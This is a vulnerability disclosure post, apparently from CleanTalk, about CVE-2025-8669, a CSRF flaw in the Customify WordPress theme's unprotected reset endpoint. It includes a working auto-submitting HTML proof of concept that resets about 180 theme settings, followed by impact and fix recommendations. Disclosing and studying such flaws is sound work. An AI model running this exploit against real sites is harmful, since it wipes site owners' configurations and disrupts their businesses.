Customify is a lightweight, highly customizable WordPress theme—active on over 50,000+ sites—that offers granular control over layouts, colors, typography, and WooCommerce integrations. Its “Reset Section” feature lets administrators revert a group of options to defaults. However, CVE-2025-8669 exposes a serious flaw: the reset endpoint customify__reset_section lacks both nonce protection and capability checks, allowing unauthenticated users to force a complete reset of virtually all Customify theme settings via a single CSRF request.
| CVE | CVE-2025-8669 |
| Plugin Version | Customify <= 0.4.11 |
| Critical | High |
| All Time | N/A |
| Active installations | 50 000+ |
| Publicly Published | October 9, 2025 |
| Last Updated | October 9, 2025 |
| Researcher | Dmitrii Ignatyev |
| PoC | Yes |
| Exploit | No |
| Reference | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-8669 https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-themes/customify/customify-0411-cross-site-request-forgery |
| Plugin Security Certification by CleanTalk | ![]() |
| Logo of the plugin | ![]() |
PSC by CleantalkJoin the community of developers who prioritize security. Highlight your plugin in the WordPress catalog.
Timeline
| August 22, 2025 | Plugin testing and vulnerability detection in the Customify have been completed |
| August 22, 2025 | I contacted the author of the plugin and provided a vulnerability PoC with a description and recommendations for fixing |
| October 9, 2025 | Registered CVE-2025-8669 |
Discovery of the Vulnerability
A security audit revealed that Customify registers its reset handler through admin-ajax.php?action=customify__reset_section without calling check_ajax_referer() or current_user_can(). Instead, it trusts any POST containing an array of setting keys. In the plugin’s code, the reset action simply loops through all provided keys—over hundreds of theme options—and deletes or reverts them. Because this AJAX route is unprotected, attackers can embed a hidden form on any site and have visitors—even unauthenticated ones—submit it, wiping out critical layout, color, typography, header, footer, WooCommerce, and global styling configurations.
Understanding of CSRF attack’s
WordPress best practices require both nonce verification to prevent CSRF and capability checks to enforce privilege boundaries. Similar failures in other themes and plugins—such as CVE-2025-9202 in ColorMag and CVE-2025-8595 in Zakra—exposed privileged actions to low-privileged users by omitting one or both! Customify’s reset endpoint follows this pattern, trusting a raw POST and deleting settings without verifying that the requester is an administrator or even a logged-in user.
Exploiting the CSRF Vulnerability
To exploit CVE-2025-8669, an attacker without any cookies:
POC:
<html> <body> <form action="http://127.0.0.1/wordpress/wp-admin/admin-ajax.php" method="POST"> <input type="hidden" name="action" value="customify__reset_section" /> <input type="hidden" name="settings[]" value="404_sidebar_layout" /> <input type="hidden" name="settings[]" value="_customify_wc_show_page_title" /> <input type="hidden" name="settings[]" value="custom_logo" /> <input type="hidden" name="settings[]" value="header_builder_panel" /> <input type="hidden" name="settings[]" value="header_builder_version" /> <input type="hidden" name="settings[]" value="hide_header_builder_switcher" /> <input type="hidden" name="settings[]" value="woocommerce_catalog_tablet_columns" /> <input type="hidden" name="settings[]" value="archive" /> <input type="hidden" name="settings[]" value="background" /> <input type="hidden" name="settings[]" value="bg_attachment" /> <input type="hidden" name="settings[]" value="bg_cover" /> <input type="hidden" name="settings[]" value="bg_image" /> <input type="hidden" name="settings[]" value="bg_position" /> <input type="hidden" name="settings[]" value="bg_repeat" /> <input type="hidden" name="settings[]" value="border_color" /> <input type="hidden" name="settings[]" value="border_radius" /> <input type="hidden" name="settings[]" value="border_style" /> <input type="hidden" name="settings[]" value="border_width" /> <input type="hidden" name="settings[]" value="breadcrumb_display_pages" /> <input type="hidden" name="settings[]" value="breadcrumb_display_posts" /> <input type="hidden" name="settings[]" value="breadcrumb_display_products" /> <input type="hidden" name="settings[]" value="breadcrumb_display_shop" /> <input type="hidden" name="settings[]" value="breadcrumb_home_title" /> <input type="hidden" name="settings[]" value="breadcrumb_panel" /> <input type="hidden" name="settings[]" value="breadcrumb_posts_page" /> <input type="hidden" name="settings[]" value="breadcrumb_prefix" /> <input type="hidden" name="settings[]" value="breadcrumb_products_page" /> <input type="hidden" name="settings[]" value="breadcrumb_separator" /> <input type="hidden" name="settings[]" value="catalog_designer_panel" /> <input type="hidden" name="settings[]" value="catalog_designer_section" /> <input type="hidden" name="settings[]" value="catalog_layout" /> <input type="hidden" name="settings[]" value="catalog_tablet_columns" /> <input type="hidden" name="settings[]" value="catalog_tablet_gutter" /> <input type="hidden" name="settings[]" value="catalog_tablet_rows" /> <input type="hidden" name="settings[]" value="catalog_tablet_space_between" /> <input type="hidden" name="settings[]" value="catalog_tablet_style" /> <input type="hidden" name="settings[]" value="catalog_tablet_type" /> <input type="hidden" name="settings[]" value="catalog_type" /> <input type="hidden" name="settings[]" value="catalog_wrap" /> <input type="hidden" name="settings[]" value="color_background" /> <input type="hidden" name="settings[]" value="color_border" /> <input type="hidden" name="settings[]" value="color_heading" /> <input type="hidden" name="settings[]" value="color_link" /> <input type="hidden" name="settings[]" value="color_meta" /> <input type="hidden" name="settings[]" value="color_primary" /> <input type="hidden" name="settings[]" value="color_secondary" /> <input type="hidden" name="settings[]" value="color_text" /> <input type="hidden" name="settings[]" value="color_text_light" /> <input type="hidden" name="settings[]" value="colors_panel" /> <input type="hidden" name="settings[]" value="container_layout" /> <input type="hidden" name="settings[]" value="container_width" /> <input type="hidden" name="settings[]" value="content_area_background" /> <input type="hidden" name="settings[]" value="content_area_border_color" /> <input type="hidden" name="settings[]" value="content_area_border_style" /> <input type="hidden" name="settings[]" value="content_area_border_width" /> <input type="hidden" name="settings[]" value="content_area_box_shadow" /> <input type="hidden" name="settings[]" value="content_area_padding" /> <input type="hidden" name="settings[]" value="content_layout" /> <input type="hidden" name="settings[]" value="content_typography" /> <input type="hidden" name="settings[]" value="customify__css" /> <input type="hidden" name="settings[]" value="footer_background_color" /> <input type="hidden" name="settings[]" value="footer_background_image" /> <input type="hidden" name="settings[]" value="footer_background_position" /> <input type="hidden" name="settings[]" value="footer_background_repeat" /> <input type="hidden" name="settings[]" value="footer_background_size" /> <input type="hidden" name="settings[]" value="footer_border_color" /> <input type="hidden" name="settings[]" value="footer_border_style" /> <input type="hidden" name="settings[]" value="footer_border_width" /> <input type="hidden" name="settings[]" value="footer_box_shadow" /> <input type="hidden" name="settings[]" value="footer_layout" /> <input type="hidden" name="settings[]" value="footer_padding" /> <input type="hidden" name="settings[]" value="footer_panel" /> <input type="hidden" name="settings[]" value="footer_text_color" /> <input type="hidden" name="settings[]" value="footer_text_link_color" /> <input type="hidden" name="settings[]" value="footer_text_link_hover_color" /> <input type="hidden" name="settings[]" value="footer_top_background_color" /> <input type="hidden" name="settings[]" value="global_layout_section" /> <input type="hidden" name="settings[]" value="global_styling" /> <input type="hidden" name="settings[]" value="global_styling_color_border" /> <input type="hidden" name="settings[]" value="global_styling_color_heading" /> <input type="hidden" name="settings[]" value="global_styling_color_link" /> <input type="hidden" name="settings[]" value="global_styling_color_link_hover" /> <input type="hidden" name="settings[]" value="global_styling_color_primary" /> <input type="hidden" name="settings[]" value="global_styling_color_secondary" /> <input type="hidden" name="settings[]" value="global_styling_color_text" /> <input type="hidden" name="settings[]" value="global_styling_color_text_light" /> <input type="hidden" name="settings[]" value="global_styling_heading" /> <input type="hidden" name="settings[]" value="global_typography" /> <input type="hidden" name="settings[]" value="global_typography_body" /> <input type="hidden" name="settings[]" value="global_typography_button" /> <input type="hidden" name="settings[]" value="global_typography_heading" /> <input type="hidden" name="settings[]" value="global_typography_input_text" /> <input type="hidden" name="settings[]" value="global_typography_links" /> <input type="hidden" name="settings[]" value="global_typography_menu" /> <input type="hidden" name="settings[]" value="global_typography_meta" /> <input type="hidden" name="settings[]" value="global_typography_post_title" /> <input type="hidden" name="settings[]" value="global_typography_site_description" /> <input type="hidden" name="settings[]" value="global_typography_site_title" /> <input type="hidden" name="settings[]" value="header_background_color" /> <input type="hidden" name="settings[]" value="header_background_image" /> <input type="hidden" name="settings[]" value="header_background_position" /> <input type="hidden" name="settings[]" value="header_background_repeat" /> <input type="hidden" name="settings[]" value="header_background_size" /> <input type="hidden" name="settings[]" value="header_border_color" /> <input type="hidden" name="settings[]" value="header_border_style" /> <input type="hidden" name="settings[]" value="header_border_width" /> <input type="hidden" name="settings[]" value="header_box_shadow" /> <input type="hidden" name="settings[]" value="header_layout" /> <input type="hidden" name="settings[]" value="header_padding" /> <input type="hidden" name="settings[]" value="header_panel" /> <input type="hidden" name="settings[]" value="header_transparent" /> <input type="hidden" name="settings[]" value="layout_panel" /> <input type="hidden" name="settings[]" value="layout_style" /> <input type="hidden" name="settings[]" value="layout_width" /> <input type="hidden" name="settings[]" value="page_header_background_color" /> <input type="hidden" name="settings[]" value="page_header_background_image" /> <input type="hidden" name="settings[]" value="page_header_background_position" /> <input type="hidden" name="settings[]" value="page_header_background_repeat" /> <input type="hidden" name="settings[]" value="page_header_background_size" /> <input type="hidden" name="settings[]" value="page_header_border_color" /> <input type="hidden" name="settings[]" value="page_header_border_style" /> <input type="hidden" name="settings[]" value="page_header_border_width" /> <input type="hidden" name="settings[]" value="page_header_box_shadow" /> <input type="hidden" name="settings[]" value="page_header_layout" /> <input type="hidden" name="settings[]" value="page_header_padding" /> <input type="hidden" name="settings[]" value="page_header_panel" /> <input type="hidden" name="settings[]" value="page_header_typography" /> <input type="hidden" name="settings[]" value="post_content_typography" /> <input type="hidden" name="settings[]" value="post_meta_typography" /> <input type="hidden" name="settings[]" value="post_title_typography" /> <input type="hidden" name="settings[]" value="related_posts" /> <input type="hidden" name="settings[]" value="related_posts_columns" /> <input type="hidden" name="settings[]" value="related_posts_image_ratio" /> <input type="hidden" name="settings[]" value="related_posts_number" /> <input type="hidden" name="settings[]" value="related_posts_panel" /> <input type="hidden" name="settings[]" value="related_posts_title" /> <input type="hidden" name="settings[]" value="search_panel" /> <input type="hidden" name="settings[]" value="search_style" /> <input type="hidden" name="settings[]" value="search_typography" /> <input type="hidden" name="settings[]" value="sidebar_layout" /> <input type="hidden" name="settings[]" value="single_blog_post_panel" /> <input type="hidden" name="settings[]" value="single_content_typography" /> <input type="hidden" name="settings[]" value="single_meta_typography" /> <input type="hidden" name="settings[]" value="single_post_layout" /> <input type="hidden" name="settings[]" value="single_post_title_typography" /> <input type="hidden" name="settings[]" value="styling_panel" /> <input type="hidden" name="settings[]" value="typography_panel" /> <input type="hidden" name="settings[]" value="upsell_panel" /> <input type="hidden" name="settings[]" value="woocommerce_archive_layout" /> <input type="hidden" name="settings[]" value="woocommerce_catalog_columns" /> <input type="hidden" name="settings[]" value="woocommerce_catalog_columns_tablet" /> <input type="hidden" name="settings[]" value="woocommerce_catalog_columns_wide" /> <input type="hidden" name="settings[]" value="woocommerce_catalog_gutter" /> <input type="hidden" name="settings[]" value="woocommerce_catalog_gutter_tablet" /> <input type="hidden" name="settings[]" value="woocommerce_catalog_gutter_wide" /> <input type="hidden" name="settings[]" value="woocommerce_catalog_layout" /> <input type="hidden" name="settings[]" value="woocommerce_catalog_layout_tablet" /> <input type="hidden" name="settings[]" value="woocommerce_catalog_layout_wide" /> <input type="hidden" name="settings[]" value="woocommerce_catalog_mobile_columns" /> <input type="hidden" name="settings[]" value="woocommerce_catalog_mobile_gutter" /> <input type="hidden" name="settings[]" value="woocommerce_catalog_rows" /> <input type="hidden" name="settings[]" value="woocommerce_catalog_rows_tablet" /> <input type="hidden" name="settings[]" value="woocommerce_catalog_rows_wide" /> <input type="hidden" name="settings[]" value="woocommerce_catalog_space_between" /> <input type="hidden" name="settings[]" value="woocommerce_catalog_space_between_tablet" /> <input type="hidden" name="settings[]" value="woocommerce_catalog_space_between_wide" /> <input type="hidden" name="settings[]" value="woocommerce_catalog_style" /> <input type="hidden" name="settings[]" value="woocommerce_catalog_type" /> <input type="hidden" name="settings[]" value="woocommerce_panel" /> <input type="hidden" name="settings[]" value="woocommerce_product_layout" /> <input type="hidden" name="settings[]" value="woocommerce_product_page_layout" /> <input type="submit" value="Submit request" /> </form> <script> history.pushState('', '', '/'); document.forms[0].submit(); </script> </body> </html>____
Unauthenticated resets undermine site availability and user experience. In real-world scenarios:
Recovery overhead spikes as administrators scramble to restore settings or roll back to backups.
E-commerce sites instantly lose product page styling and “Add to Cart” layouts, disrupting revenue.
Corporate portals reset branding and custom headers, harming client trust.
Membership communities lose access-panel styling, confusing users and admins.
Recommendations for Improved Security
Add Nonce Verification: Call check_ajax_referer( 'customify_reset', 'security' ) in the AJAX handler.
Enforce Capability Checks: Prepend if ( ! current_user_can( 'manage_options' ) ) wp_die( 'Unauthorized' ); to block non-admins.
Switch to POST with Nonce: Ensure all state-changing operations require a valid nonce and use POST, not GET.
Limit Reset Scope: Offer per-section reset in the admin UI but restrict batch resets via AJAX to prevent mass resets.
Logging & Alerts: Record each reset event with user ID and timestamp to quickly detect malicious resets.
By taking proactive measures to address CSRF vulnerabilities like CVE-2025-8669 WordPress website owners can enhance their security posture and safeguard against potential exploitation. Stay vigilant, stay secure.
#WordPressSecurity #CSRF #WebsiteSafety #StayProtected #HighVulnerability
Use CleanTalk solutions to improve the security of your website
Dmitrii I.

